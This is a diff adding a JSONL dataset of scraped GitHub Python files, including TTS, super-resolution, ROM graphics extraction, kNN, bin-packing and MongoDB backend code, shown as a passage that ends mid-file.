diff --git "a/6565.jsonl" "b/6565.jsonl" new file mode 100644--- /dev/null +++ "b/6565.jsonl" @@ -0,0 +1,435 @@ +{"seq_id":"13812903007","text":"from speechbrain.pretrained import Tacotron2\nfrom speechbrain.pretrained import HIFIGAN\nimport numpy as np\nfrom typing import Any, Dict, Optional\n\n\nclass TTSModel:\n def __init__(\n self,\n tts_model: str = \"speechbrain/tts-tacotron2-ljspeech\",\n vocoder_model: str = \"speechbrain/tts-hifigan-ljspeech\",\n device: str = \"cpu\",\n ):\n\n # Intialize TTS (tacotron2) and Vocoder (HiFIGAN)\n self.tts_model = Tacotron2.from_hparams(\n source=tts_model, savedir=\"/models/tts\"\n ).to(device=device)\n self.vocoder = HIFIGAN.from_hparams(\n source=vocoder_model, savedir=\"/models/vocoder\"\n ).to(device=device)\n self.device = device\n\n def predict(self, text: str | list[str]) -> Dict[str, Any]:\n \"\"\"Synthesize speech from text\"\"\"\n\n # Running the TTS\n mel_output, mel_length, alignment = self.tts_model.encode_text(text)\n\n # Running Vocoder (spectrogram-to-waveform)\n waveforms = self.vocoder.decode_batch(mel_output)\n\n return {\n \"waveforms\": waveforms.detach().cpu().numpy().tolist(),\n \"alignment\": alignment.detach().cpu().numpy().tolist(),\n \"mel_length\": mel_length.detach().cpu().numpy().tolist(),\n }\n","repo_name":"MoPl90/Speech_Translator","sub_path":"model_server/ml_worker_app/TTS/speech_synthesis.py","file_name":"speech_synthesis.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27673041833","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jun 5 22:41:34 2020\r\n\r\n@author: liuxin\r\n\"\"\"\r\nimport numpy as np\r\nimport os \r\nimport tensorflow as tf\r\nimport tensorlayer as tl\r\nfrom tensorlayer.layers import Input, Conv2d, BatchNorm2d, Elementwise, SubpixelConv2d, Flatten, Dense, MaxPool2d\r\nfrom tensorlayer.models import Model\r\nimport time\r\nimport cv2\r\nimport model \r\nimport config\r\n\r\n\r\n\r\ndef evaluate():\r\n valid_hr_img_list = sorted(tl.files.load_file_list(path=config.path_valid_HR_orin, regx='.*.png', printable=False))[:]\r\n valid_lr_img_list = sorted(tl.files.load_file_list(path=config.path_valid_LR_orin, regx='.*.png', printable=False))[:]\r\n\r\n valid_lr_imgs = tl.vis.read_images(valid_lr_img_list, path=config.path_valid_LR_orin, n_threads=8)\r\n valid_hr_imgs = tl.vis.read_images(valid_hr_img_list, path=config.path_valid_HR_orin, n_threads=8)\r\n \r\n imid = 0 # 0: 企鹅 81: 蝴蝶 53: 鸟 64: 古堡\r\n valid_lr_img = valid_lr_imgs[imid]\r\n #print(valid_lr_img.shape)\r\n valid_hr_img = valid_hr_imgs[imid]\r\n valid_lr_img = (valid_lr_img / 127.5) - 1 # rescale to [-1, 1]\r\n valid_lr_img = np.asarray(valid_lr_img, dtype=np.float32)\r\n valid_lr_img = valid_lr_img[np.newaxis,:,:,:]\r\n W, H = valid_hr_img.shape[0], valid_hr_img.shape[1]\r\n\r\n G = model.get_G([1, None, None, 3])\r\n G.load_weights(os.path.join(config.path_model, 'g_gan.h5'))\r\n G.eval()\r\n #网络输出图像\r\n gen_img = G(valid_lr_img).numpy()\r\n\r\n #插值放大的图像\r\n out_bicu = config.resize_img(valid_lr_img, (W, H))\r\n \r\n tl.vis.save_image(gen_img[0], os.path.join(config.path_pic, 'fh.png'))\r\n tl.vis.save_image(valid_lr_img[0], os.path.join(config.path_pic, 'rl.png'))\r\n tl.vis.save_image(valid_hr_img, os.path.join(config.path_pic, 'hr.png')) \r\n tl.vis.save_image(out_bicu[0], os.path.join(config.path_pic, 'bh.png'))\r\n \r\n print('验证图像已保存在{}文件夹中'.format(config.path_pic))\r\n \r\n \r\nif __name__ == '__main__':\r\n #with tf.device('/cpu'):\r\n evaluate()\r\n\r\n","repo_name":"liuxin811/SRGAN-improved","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72472291892","text":"from unittest import TestCase\nfrom unittest.mock import patch\nimport numpy as np\nfrom numpy.testing import assert_array_equal\nfrom testfixtures import should_raise\n\nfrom rec_to_nwb.processing.exceptions.not_equal_param_length_exception import NotEqualParamLengthException\nfrom rec_to_nwb.processing.nwb.components.analog.fl_analog_extractor import FlAnalogExtractor\nfrom rec_to_nwb.processing.nwb.components.analog.fl_analog_manager import FlAnalogManager\n\n\nclass TestFlAnalogManager(TestCase):\n\n @staticmethod\n def fake_extract_analog_for_single_dataset(*args, **kwargs):\n return {\n 'AccelX': [1, 11, 111],\n 'AccelY': [2, 22, 222],\n 'AccelZ': [3, 33, 333],\n 'GyroX': [4, 44, 444],\n 'GyroY': [5, 55, 555],\n 'GyroZ': [6, 66, 666],\n 'MagX': [7, 77, 777],\n 'MagY': [8, 88, 888],\n 'MagZ': [9, 99, 999],\n 'timestamps': [123, 234, 456]\n }\n\n @patch.object(FlAnalogExtractor, 'extract_analog_for_single_dataset', new=fake_extract_analog_for_single_dataset)\n def test_get_analog_returnCorrectData_successfully(self):\n mock_analog_files = [{1: 'mocked'}, {2: 'mocked'}]\n mock_continuous_time_files = ['Mock1', 'Mock2']\n\n analog_manager = FlAnalogManager(\n analog_files=mock_analog_files,\n continuous_time_files=mock_continuous_time_files\n )\n fl_analog = analog_manager.get_analog()\n transposed_analog_data, timestamps = fl_analog.data, fl_analog.timestamps\n\n assert_array_equal(\n transposed_analog_data,\n np.array([\n [1, 2, 3, 4, 5, 6, 7, 8, 9],\n [11, 22, 33, 44, 55, 66, 77, 88, 99],\n [111, 222, 333, 444, 555, 666, 777, 888, 999],\n [1, 2, 3, 4, 5, 6, 7, 8, 9],\n [11, 22, 33, 44, 55, 66, 77, 88, 99],\n [111, 222, 333, 444, 555, 666, 777, 888, 999]\n ])\n )\n self.assertIsInstance(transposed_analog_data, np.ndarray)\n\n assert_array_equal(\n timestamps,\n np.array([123, 234, 456, 123, 234, 456])\n )\n self.assertIsInstance(timestamps, np.ndarray)\n\n @should_raise(TypeError)\n def test_get_analog_fails_due_to_None_param(self):\n mock_continuous_time_files = ['Mock1', 'Mock2']\n FlAnalogManager(\n analog_files=None,\n continuous_time_files=mock_continuous_time_files\n )\n\n @should_raise(NotEqualParamLengthException)\n def test_get_analog_fails_due_to_different_param_length(self):\n mock_analog_files = [{1: 'mocked'}]\n mock_continuous_time_files = ['Mock1', 'Mock2']\n\n FlAnalogManager(\n analog_files=mock_analog_files,\n continuous_time_files=mock_continuous_time_files\n )\n","repo_name":"NovelaNeuro/rec_to_nwb","sub_path":"rec_to_nwb/test/processing/analog/test_flAnalogManager.py","file_name":"test_flAnalogManager.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"21"} +{"seq_id":"4540567152","text":"#!/usr/bin/env python3\n\nimport json\nimport os\nimport sys\n\nfrom lib import librun\n\ndef get_cache(filename):\n home = os.environ['HOME']\n directory = os.path.join(home, '.cache', 'chromium-src')\n if not os.path.exists(directory):\n os.system(f'mkdir {directory}')\n return os.path.join(directory, filename)\n\n\ndef needs_update(files):\n cache = get_cache('files')\n if not os.path.exists(cache):\n return True\n files = set(files)\n with open(cache) as f:\n try:\n prefiles = set(json.loads(f.read()).keys())\n return len(files - prefiles)\n except:\n return True\n\n\ndef update(files, username):\n with open(get_cache('files'), 'w') as f:\n output = {f:{'user':[], 'bug':[]} for f in files}\n for file in files:\n print(f'blaming {file}')\n output[file]['user'], output[file]['bug'] = blame_file(file, username)\n f.write(json.dumps(output))\n\n\ndef blame_file(filename, searchname):\n buglines = []\n userlines = []\n for blameline in librun.OutputOrError(f'git blame {filename}').split('\\n'):\n if f'TODO({searchname})' in blameline:\n userlines.append(blameline)\n elif 'TODO(b/' in blameline:\n buglines.append(blameline)\n return userlines, buglines\n\n\ndef display_todo(file, data):\n if not data['user']:\n return\n\n print(file)\n for line in data['user']:\n num_cont = line.split('+0000')[1].strip()\n num, cont = num_cont.split(')', 1)\n print(f' {num}: {cont.strip()}')\n\n\ndef grep_4_todo(username):\n files = librun.OutputOrError('git grep -l TODO').split('\\n')\n if needs_update(files):\n update(files, username)\n cache = get_cache('files')\n with open(cache) as f:\n for file, data in json.loads(f.read()).items():\n display_todo(file, data)\n\n\nif __name__ == '__main__':\n grep_4_todo(sys.argv[1] if len(sys.argv) >= 2 else 'tmathmeyer')","repo_name":"tmathmeyer/chromium-src-tools","sub_path":"find_my_todos.py","file_name":"find_my_todos.py","file_ext":"py","file_size_in_byte":1807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9193898447","text":"#!/usr/bin/python3\n\n# external tools\n# by laqieer\n# 2019/4/26\n\nimport os\nimport math\nimport struct\nimport lzss3\nfrom subprocess import Popen, PIPE\n\ncwd = os.path.dirname(os.path.realpath(__file__))\n\n# tool path\ngbagfx = '../tools/gbagfx/gbagfx'\n\nfake = 0\nlz77 = 1\nhuffman = 2\nrunlength = 3\n\nCompType = ['fake', 'lz77', 'huffman', 'runlength']\n\ndef align(address, byte_number=4):\n return math.ceil(address / byte_number) * byte_number\n\n\nclass Error(Exception):\n \"\"\"Base class for exceptions in this module.\"\"\"\n pass\n\n\nclass CompTypeError(Error):\n \"\"\"Unsupported compression type.\n\n Attributes:\n offset -- file offset\n comp_type -- compression type\n \"\"\"\n\n def __init__(self, offset, comp_type):\n self.offset = offset\n if comp_type < len(CompType):\n self.comp_type = CompType[comp_type]\n else:\n self.comp_type = comp_type\n\n\nclass GbagfxError(Error):\n \"\"\"Error from gbagfx\"\"\"\n\n def __init__(self, cmd, err):\n self.cmd = cmd\n self.err = err\n\n\nclass FileExtNameError(Error):\n \"\"\"Error from gbagfx\"\"\"\n\n def __init__(self, filename, require):\n self.filename = filename\n self.require = require\n\n\nclass BitDepthError(Error):\n \"\"\"Image bit depth eroor\"\"\"\n\n def __init__(self, offset, bitdepth):\n self.offset = offset\n self.bitdepth = bitdepth\n\n\nclass CompData:\n \"\"\"\n Compressed data.\n \"\"\"\n def __init__(self, fp, offset=0, comp_type=None):\n # convert address to offset\n if offset >= 0x8000000:\n self.offset = offset - 0x8000000\n else:\n self.offset = offset\n fp.seek(self.offset)\n head = struct.unpack('> 4\n elif type(comp_type) is str:\n self.comp_type = CompType.index(comp_type)\n elif comp_type > len(CompType):\n raise CompTypeError(self.offset, comp_type)\n else:\n self.comp_type = comp_type\n # calc the size of uncompressed data\n if self.comp_type == fake:\n self.size = head >> 8 - 4\n else:\n self.size = head >> 8\n # calc the length of compressed data\n if self.comp_type == fake:\n self.length = head >> 8\n elif self.comp_type == lz77:\n written = 0\n while written < self.size:\n flags = struct.unpack(\"> 4) + 3\n written += blocksize\n else:\n fp.read(1)\n written += 1\n if written >= self.size:\n break\n flags = (flags << 1) & 0xff\n self.length = align(fp.tell() - self.offset)\n else:\n # assuming that the comprssed data is smaller than the uncomprssed data\n self.length = self.size\n # compressed data\n fp.seek(self.offset)\n self.data = fp.read(self.length)\n\n def get_comp_type(self):\n return self.comp_type\n\n def write_comp_data(self, fp):\n fp.write(self.data)\n\n def write_uncomp_data(self, fp):\n if self.comp_type == fake:\n fp.write(self.data[4:])\n elif self.comp_type == lz77:\n fp.write(lzss3.decompress_bytes(self.data))\n else:\n# print('error: 0x%X %s compression is not supported.' % (self.offset, CompType[self.comp_type]))\n raise CompTypeError(self.offset, self.comp_type)\n\n\ndef decomp_file(infile, outfile):\n \"\"\"\n Decompress lz77(*.lz) or runlength(*.rl) compressed file with gbagfx.\n \"\"\"\n base, ext = os.path.splitext(infile)\n if ext not in ('.lz', '.rl'):\n raise FileExtNameError(infile, '*.lz, *.rl')\n cmd = \"%s %s %s\" % (gbagfx, infile, outfile)\n p = Popen(cmd, stderr=PIPE, cwd=cwd, shell=True)\n p.wait()\n if p.returncode != 0:\n raise GbagfxError(cmd, p.stderr)\n\ndef save_image(infile, outfile=None, width=32, palfile=None):\n \"\"\"\n Save image with gbagfx.\n \"\"\"\n base, ext = os.path.splitext(infile)\n if ext not in ('.1bpp', '.4bpp', '.8bpp'):\n raise FileExtNameError(infile, '*.1bpp, *.4bpp, *.8bpp')\n if outfile is not None:\n ext = os.path.splitext(outfile)[1]\n if exit != '.png':\n raise FileExtNameError(outfile, '*.png')\n else:\n outfile = base + '.png'\n if palfile is not None:\n ext = os.path.splitext(palfile)[1]\n if ext != '.gbapal':\n raise FileExtNameError(palfile, '*.gbapal')\n # convert pixel width to tile width\n if width > 32:\n width = math.ceil(8)\n cmd = \"%s %s %s -width %d\" % (gbagfx, infile, outfile, width)\n if palfile is not None:\n cmd += \" -palette %s\" % palfile\n p = Popen(cmd, stderr=PIPE, cwd=cwd, shell=True)\n p.wait()\n if p.returncode != 0:\n raise GbagfxError(cmd, p.stderr)\n\ndef dump_palette(fp, offset, comp_type=None, color_number=16, name=None):\n if offset > 0x8000000:\n offset -= 0x8000000\n fp.seek(offset)\n if name is None:\n name = 'pal_%X' % offset\n if comp_type is not None:\n data = CompData(fp, offset, comp_type)\n if data.comp_type == lz77:\n compfile = name + '.gbapal.lz'\n elif data.comp_type == runlength:\n compfile = name + '.gbapal.rl'\n else:\n raise CompTypeError(offset, data.comp_type)\n with open(compfile, 'wb') as fp_comp:\n data.write_comp_data(fp_comp)\n decomp_file(fp_comp, name)\n else:\n with open(name + '.gbapal', 'wb') as fp_pal:\n fp_pal.write(fp.read(2 * color_number))\n\n\ndef decomp_image(fp, offset_img, width=32, height=0, bitdepth=4, comp_type_img=None, offset_pal=None, comp_type_pal=None, pal_number=None, name=None):\n if offset_pal is not None:\n if offset_pal >= 0x8000000:\n offset_pal -= 0x8000000\n if pal_number is None:\n color_number = 1 << bitdepth\n else:\n color_number = 16 * pal_number\n dump_palette(fp, offset_pal, comp_type_pal, color_number, name)\n if name is None:\n palfile = 'pal_%X.gbapal' % offset_pal\n else:\n palfile = name + '.gbapal'\n if name is None:\n imagefile = 'img_%X' % offset_img\n else:\n imagefile = name\n if bitdepth in (1, 4, 8):\n imagefile += '.%dbpp' % bitdepth\n else:\n raise BitDepthError(offset_img, bitdepth)\n if comp_type_img == 'NoComp':\n if offset_img >= 0x8000000:\n offset_img -= 0x8000000\n fp.seek(offset_img)\n with open(imagefile, 'wb') as fp_img:\n fp_img.write(fp.read(32 * width * height))\n else:\n data_img = CompData(fp, offset_img, comp_type_img)\n if data_img.comp_type == fake:\n with open(imagefile, 'wb') as fp_img:\n data_img.write_uncomp_data(fp_img)\n else:\n if data_img.comp_type == lz77:\n compfile = imagefile + '.lz'\n elif data_img.comp_type == runlength:\n compfile = imagefile + '.rl'\n else:\n raise CompTypeError(data_img.offset, data_img.comp_type)\n with open(compfile, 'wb') as fp_comp:\n data_img.write_comp_data(fp_comp)\n decomp_file(compfile, imagefile)\n if offset_pal is None:\n save_image(imagefile, width=width)\n else:\n save_image(imagefile, width=width, palfile=palfile)\n\ndef read_pointer(fp, offset):\n fp.seek(offset)\n if offset % 4 == 0:\n pointer = struct.unpack('= 0x2000000:\n return pointer\n return None\n\ndef read_rom_offset(fp, offset):\n fp.seek(offset)\n pointer = read_pointer(fp, offset)\n if pointer >= 0x8000000:\n return pointer - 0x8000000\n return None\n\ndef read_pointer_here(fp):\n pointer = struct.unpack('= 0x2000000:\n return pointer\n return None\n\ndef read_rom_offset_here(fp):\n pointer = read_pointer_here(fp)\n if pointer >= 0x8000000:\n return pointer - 0x8000000\n return None\n\ndef read_asm_macro(fp):\n \"\"\"\n make dict: value -> name from assembler macro.\n if several macros are equal, the last macro name is recorded.\n \"\"\"\n result = {}\n lines = fp.readlines()\n for i in range(len(lines)):\n '''\n .macro name\n .word value\n .endm\n '''\n if '.macro' in lines[i] and '.word' in lines[i + 1] \\\n and ',' not in lines[i + 1] and '.endm' in lines[i + 2]:\n name = lines[i].split(\".macro\")[1].strip()\n name = name.split()[0]\n value = lines[i + 1].split(\".word\")[1].strip()\n value = value.split()[0]\n if '0x' in value:\n value = int(value, 16)\n else:\n value = int(value)\n result[value] = name\n return result\n\ndef main():\n with open('../baserom.gba', 'rb') as fp_rom:\n face_Eirika_pointer_table = 0x8ACBFC\n fp_rom.seek(face_Eirika_pointer_table)\n face_Eirika_image = read_pointer_here(fp_rom)\n face_Eirika_mini_image = read_pointer_here(fp_rom)\n face_Eirika_palette = read_pointer_here(fp_rom)\n face_Eirika_mouth_frame = read_pointer_here(fp_rom)\n decomp_image(fp_rom, offset_img=face_Eirika_image, name='out/face_Eirika', offset_pal=face_Eirika_palette)\n decomp_image(fp_rom, offset_img=face_Eirika_mini_image, name='out/face_Eirika_mini', width=4, offset_pal=face_Eirika_palette)\n decomp_image(fp_rom, offset_img=face_Eirika_mouth_frame, comp_type_img='NoComp', width=4, height=6, name='out/face_Eirika_mouth_frame', offset_pal=face_Eirika_palette)\n pass\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"MokhaLeee/cSkillsLite-fireemblem8u","sub_path":"scripts/tool.py","file_name":"tool.py","file_ext":"py","file_size_in_byte":10087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1096178171","text":"import numpy as np\r\ndef kNN(D, labels, K, x):\r\n \"\"\"\r\n D is the list of training vectors\r\n labels is the list of the labels for D\r\n K is the number of nearest neighbors\r\n x is the input whose label we want to find\r\n \"\"\"\r\n #print(D.shape)\r\n #print(labels.shape)\r\n #print(x.shape)\r\n #assert(False)\r\n # this gives euclidean distance but hopefully faster\r\n S = np.linalg.norm(D - x, axis=1)\r\n S_indices = np.argpartition(S, range(K))\r\n # we only need to sort the first K vectors\r\n #print(S_indices[:K])\r\n S = S[S_indices[:K]]\r\n #print(S)\r\n labels = labels[S_indices[:K]]\r\n # plurality vote\r\n predicted_label = np.argmax(np.bincount(labels))\r\n return predicted_label\r\ndef testErrorKNN(tr_values, tr_labels, K, num_tr_values, test_values, test_labels):\r\n \"\"\"\r\n This tests error for the knn algorithm\r\n (tr/test)_values are the feature vectors, labels are the corresponding labels\r\n K is number of nearest neighbors\r\n num_tr_values is number of values from the training set that should be used to train\r\n Everything but K (int) is a numpy array\r\n \r\n \"\"\"\r\n tr_values = tr_values[:num_tr_values]\r\n tr_labels = tr_labels[:num_tr_values]\r\n # since true == 1, this works for binary classification\r\n error = sum([kNN(tr_values, tr_labels, K, test_values[i]) != test_labels[i] \\\r\n for i in range(test_values.shape[0])])\r\n return error / test_values.shape[0]","repo_name":"jgorton1/CSC580FinalProject","sub_path":"model/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":1461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35960751522","text":"from copy import copy, deepcopy\nfrom functools import cmp_to_key\nfrom math import ceil\nfrom typing import Dict, List, Tuple\n\nimport numpy as np\n\nfrom item.item import Item\nfrom item.box import Box\nfrom item.copier import get_a_box_copy\n\n\n\"\"\"\n using binary search.\n input: 1. sorted box\n 2. volume to fit\n output: index of the smallest fit box\n\"\"\"\ndef find_smallest_fit_box(low:int, \n high:int, \n target_vol: int, \n volume_list: List[int]) -> int:\n if low > high:\n return -1\n mid = int((low+high)/2)\n if volume_list[mid] >= target_vol:\n idx = find_smallest_fit_box(low, mid-1, target_vol, volume_list)\n if idx == -1:\n return mid\n else:\n return idx\n return find_smallest_fit_box(mid+1, high, target_vol, volume_list)\n\n\ndef get_j(h:int, H:int, dt:float=7.83)->int:\n j = h*100/H/dt\n j = int(ceil(j))\n return j\n\n\n\"\"\"\nsort item first by their packing order (LIFO),\nif same order, then:\nthis sorting simply sort non-increasingly\nby area, then height as tiebreaker also non-increasing\n\"\"\"\ndef cmp_item_ah(item1:Item, item2:Item):\n if item1.packing_order < item2.packing_order:\n return -1\n if item1.packing_order > item2.packing_order:\n return 1\n if item1.face_area < item2.face_area:\n return 1\n if item1.face_area > item2.face_area:\n return -1\n if item1.size[2]< item2.size[2]:\n return 1\n if item1.size[2]> item2.size[2]:\n return -1\n return 0\n\n\"\"\"\nsort item first by their packing order (LIFO),\nif same order, then:\nthis sorting simply sort non-increasingly\nby height, then area as tiebreaker also non-increasing\n\"\"\"\ndef cmp_item_ha(item1:Item, item2:Item):\n if item1.packing_order < item2.packing_order:\n return -1\n if item1.packing_order > item2.packing_order:\n return 1 \n if item1.size[2]< item2.size[2]:\n return -1\n if item1.size[2]> item2.size[2]:\n return 1\n if item1.face_area < item2.face_area:\n return 1\n if item1.face_area > item2.face_area:\n return -1\n \n \n return 0\n\ndef find_first_ep(box_list: List[Box], item:Item):\n for bi, box in enumerate(box_list):\n for ei, ep in enumerate(box.ep_list): \n if not box.is_insert_feasible(ep, item):\n continue\n return bi, ei\n return -1, -1\n\ndef pack_items_to_box(box: Box, item_list: List[Item]) -> Tuple[Box, List[Item]]:\n dup_item_list = []\n for item in item_list:\n for r in range(6):\n new_item = deepcopy(item)\n new_item.rotate_count = r\n dup_item_list += [new_item]\n item_list = dup_item_list\n item_list = sorted(item_list, key=cmp_to_key(cmp_item_ah))\n \n unpacked_items = []\n while len(item_list) > 0:\n item = item_list[0]\n box_i, ep_i = find_first_ep([box], item)\n if ep_i == -1:\n unpacked_items += [item]\n del item_list[0]\n continue\n box.insert(ep_i, item)\n \n # remove the duplicate items, in unpacked items\n for i in reversed(range(len(unpacked_items))):\n if unpacked_items[i].id == item.id:\n del unpacked_items[i]\n \n for i in reversed(range(len(item_list))):\n if item_list[i].id == item.id:\n del item_list[i]\n \n return box, list(set(unpacked_items))\n\ndef get_items_too_big_idx(item_list:List[Item], box_type_list:List[Box]):\n item_sizes = []\n for i, item in enumerate(item_list):\n item_i_sizes = [item_list[i].alternative_sizes[r,:][np.newaxis,:] for r in range(6)]\n item_i_sizes = np.concatenate(item_i_sizes, axis=0)\n item_sizes += [item_i_sizes[np.newaxis,:,:]]\n item_sizes = np.concatenate(item_sizes,axis=0)\n box_sizes = np.concatenate([box.size[np.newaxis,:] for box in box_type_list])\n item_sizes = item_sizes[:,:,np.newaxis,:]\n box_sizes = box_sizes[np.newaxis,np.newaxis,:,:]\n is_bigger = item_sizes>box_sizes\n is_any_dim_bigger = np.any(is_bigger,axis=-1)\n is_all_rotation_bigger = np.all(is_any_dim_bigger,axis=1)\n is_gt_all_box = np.all(is_all_rotation_bigger,axis=1)\n is_gt_idx = np.nonzero(is_gt_all_box)[0]\n return is_gt_idx\n\ndef get_best_box_idx(item_list:List[Item], box_type_list:List[Box]):\n item_sizes = []\n for i, item in enumerate(item_list):\n item_i_sizes = [item_list[i].alternative_sizes[r,:][np.newaxis,:] for r in range(6)]\n item_i_sizes = np.concatenate(item_i_sizes, axis=0)\n item_sizes += [item_i_sizes[np.newaxis,:,:]]\n item_sizes = np.concatenate(item_sizes,axis=0)\n box_sizes = np.concatenate([box.size[np.newaxis,:] for box in box_type_list])\n item_sizes = item_sizes[:,:,np.newaxis,:]\n box_sizes = box_sizes[np.newaxis,np.newaxis,:,:]\n is_bigger = item_sizes>box_sizes\n is_any_dim_bigger = np.any(is_bigger,axis=-1)\n is_all_rotation_bigger = np.all(is_any_dim_bigger,axis=1)\n num_items_smaller = np.sum(np.logical_not(is_all_rotation_bigger), axis=0)\n max_num_items = np.max(num_items_smaller)\n best_box_idx = np.where(num_items_smaller==max_num_items)[0]\n return best_box_idx\n\n\"\"\"\n input: 1. List of available boxes\n 2. List of items to pack\n 3. Stop boxing threshold (zeta)\n after we find the smallest box that can\n fit the remaining items (if none exist, then\n get the biggest one), check if the remaining\n items at least can fit zeta% of the box's volume.\n Otherwise, it's wasting too much of the box space,\n then do not put them in a box.\n zeta=1 means box them regardless.\n zeta=0 means items must fit exactly or more than the box's vol.\n 4. this one's recursive\n a. separate the items that cannot fit any boxtype\n b. box the items into a box\n\"\"\"\ndef pack_items_to_boxes(box_type_list: List[Box],\n item_list: List[Item],\n zeta: float=0.7) -> Tuple[List[Box], List[Item]]:\n \n # if no boxes\n if not box_type_list:\n return [], item_list\n \n # remove items too big for any box\n too_big_item_list = []\n too_big_idx = get_items_too_big_idx(item_list, box_type_list)\n too_big_idx = np.flip(too_big_idx)\n for i in too_big_idx:\n too_big_item_list += [item_list[i]]\n del item_list[i]\n \n # if all are too big, then just return\n if not item_list:\n return [], too_big_item_list\n \n # filter the box that can fit the most number of items\n # based on the shape, actually kinda similar to the above\n # process, can be more than one.\n best_box_idx = get_best_box_idx(item_list, box_type_list)\n best_box_type_list = [box_type_list[i] for i in best_box_idx]\n used_boxes: List[Box] = []\n unpacked_items = []\n while item_list:\n remaining_volume = sum([item.volume for item in item_list])\n volume_list = [box.volume for box in best_box_type_list]\n new_box_type_i = find_smallest_fit_box(0, len(volume_list)-1, remaining_volume, volume_list)\n new_box = get_a_box_copy(best_box_type_list[new_box_type_i])\n new_box, n_unpacked_items = pack_items_to_box(new_box, item_list)\n used_boxes += [new_box]\n item_list = n_unpacked_items\n if not new_box.packed_items:\n break\n\n # now if there are boxes not well-utilized\n # dissolve and pack to smaller boxes\n used_boxes_final = []\n for box in used_boxes:\n utilization = box.filled_volume/box.volume\n if len(box.packed_items) <= 1:\n unpacked_items += box.packed_items\n elif utilization < zeta:\n n_item_list = box.packed_items\n n_box_type_list = [n_box for n_box in box_type_list if n_box.volumeTuple[bool, Dict[str, np.ndarray], Dict[str,int], Dict[str,int]]:\n # duplicate items for each rotation\n dup_items: List[Item] = []\n for i, item in enumerate(item_list):\n item_list[i].rotate_count = 0\n for r in range(6):\n new_item = deepcopy(item)\n new_item.rotate_count = r\n dup_items += [new_item]\n item_list = dup_items\n item_list = sorted(item_list, key=cmp_to_key(cmp_item_ah))\n packed_item_list = []\n position_dict = {}\n insertion_order_dict = {}\n rotate_count_dict = {}\n\n unpacked_items = []\n while len(item_list) > 0:\n item = item_list[0]\n box_i, ep_i = find_first_ep([box], item)\n if ep_i == -1:\n unpacked_items += [item]\n del item_list[0]\n continue\n\n # succeeding in inserting\n box.insert(ep_i, item)\n packed_item_list += [item]\n position_dict[item.id] = item.position\n insertion_order_dict[item.id] = item.insertion_order\n rotate_count_dict[item.id] = item.rotate_count\n # remove the duplicate items, in unpacked items\n for i in reversed(range(len(unpacked_items))):\n if unpacked_items[i].id == item.id:\n del unpacked_items[i]\n \n for i in reversed(range(len(item_list))):\n if item_list[i].id == item.id:\n del item_list[i]\n \n if len(unpacked_items)>0:\n return False, None, None, None\n\n return True, position_dict, insertion_order_dict, rotate_count_dict\n\n\n \n","repo_name":"gemsanyu/vrp3d","sub_path":"packing/packing.py","file_name":"packing.py","file_ext":"py","file_size_in_byte":9840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17640073516","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\ncreated by huash at 2015-05-08 20:55\n\n\n每隔10秒看一看Kaylin的盘子里面有几个蘑菇。\nKaylin吃蘑菇的方式有两种:\n1. 任意时刻吃掉任意多的蘑菇\n2. 按照某个一定的速度吃\n\n\n给出每隔10秒蘑菇的数量,计算两种情况下Kaylin最少吃了多少个蘑菇\n\n\n\"\"\"\n__author__ = 'huash'\n\nimport sys\nimport os\n\nSMALL_DATASET = True\nsys.stdin = open('input/sampleA.txt', 'r')\n\n\nif SMALL_DATASET:\n sys.stdin = open('input/A-small-practice.in', 'r')\n sys.stdout = open('output/A-small-practice.out', 'w')\nelse:\n sys.stdin = open('input/A-large-practice.in', 'r')\n sys.stdout = open('output/A-large-practice.out', 'w')\n\n\n\nT = int(input())\nfor ti in range(1, T + 1):\n\n N = int(input())\n M = list(map(int, input().split()))\n\n res1 = 0\n res2 = 0\n\n v = 0\n # 吃蘑菇的最小速度是每个差值的最大值\n for m in range(1, len(M)):\n eated = max(M[m-1] - M[m], 0)\n res1 += eated\n v = max(v, eated)\n\n for i in range(len(M)-1):\n if M[i] < v:\n res2 += M[i]\n else:\n res2 += v\n\n print('Case #{}: {} {}'.format(ti, res1, res2))","repo_name":"shhuan/algorithms","sub_path":"py/google/cj2015/qualification/round1A/A_Mushroom_Monster.py","file_name":"A_Mushroom_Monster.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71689397172","text":"from sippers.backends import BaseBackend, register, urlparse\nimport pymongo\n\n\nclass MongoDBBackend(BaseBackend):\n \"\"\"MongoDB Backend\n \"\"\"\n def __init__(self, uri=None):\n if uri is None:\n uri = \"mongodb://localhost:27017/sips\"\n super(MongoDBBackend, self).__init__(uri)\n self.uri = uri\n self.config = urlparse(self.uri)\n self.connection = pymongo.MongoClient(self.uri)\n self.db = self.connection[self.config['db']]\n self.ps_collection = 'giscedata_sips_ps'\n self.measures_collection = 'giscedata_sips_consums'\n self.db[self.ps_collection].ensure_index(\n \"name\", unique=True, background=True\n )\n self.db[self.measures_collection].ensure_index(\n \"name\", background=True,\n )\n\n def insert(self, document):\n ps = document.get('ps')\n if ps:\n ps.backend = self\n self.insert_ps(ps.backend_data)\n measures = document.get('measures')\n post_measures = []\n measure_cnmc = document.get('measure_cnmc')\n if measures:\n for measure in measures:\n measure.backend = self\n post_measures.append(measure.backend_data)\n self.insert_measures(post_measures)\n elif measure_cnmc:\n measure_cnmc.backend = self\n self.insert_cnmc_measure(measure_cnmc.backend_data)\n\n def get(self, collection, filters, fields=None):\n return [x for x in self.db[collection].find(filters, fields=fields)]\n\n def insert_ps(self, ps):\n collection = self.ps_collection\n oid = 